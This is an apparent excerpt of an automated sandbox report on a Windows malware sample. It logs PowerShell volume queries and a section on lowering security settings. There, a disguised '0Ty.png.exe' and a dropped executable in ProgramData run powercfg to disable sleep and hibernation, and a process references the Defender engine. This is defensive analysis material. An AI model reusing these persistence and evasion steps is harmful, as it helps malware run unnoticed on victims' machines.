Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\dllhost.exe Code function: 68_2_0000000140002300 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW, 68_2_0000000140002300
Source: C:\Windows\System32\conhost.exe Code function: 31_2_000002408A297D90 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter, 31_2_000002408A297D90
Source: C:\Windows\System32\dialer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

barindex
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 Jump to behavior
Source: dllhost.exe Binary or memory string: MsMpEng.exe
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs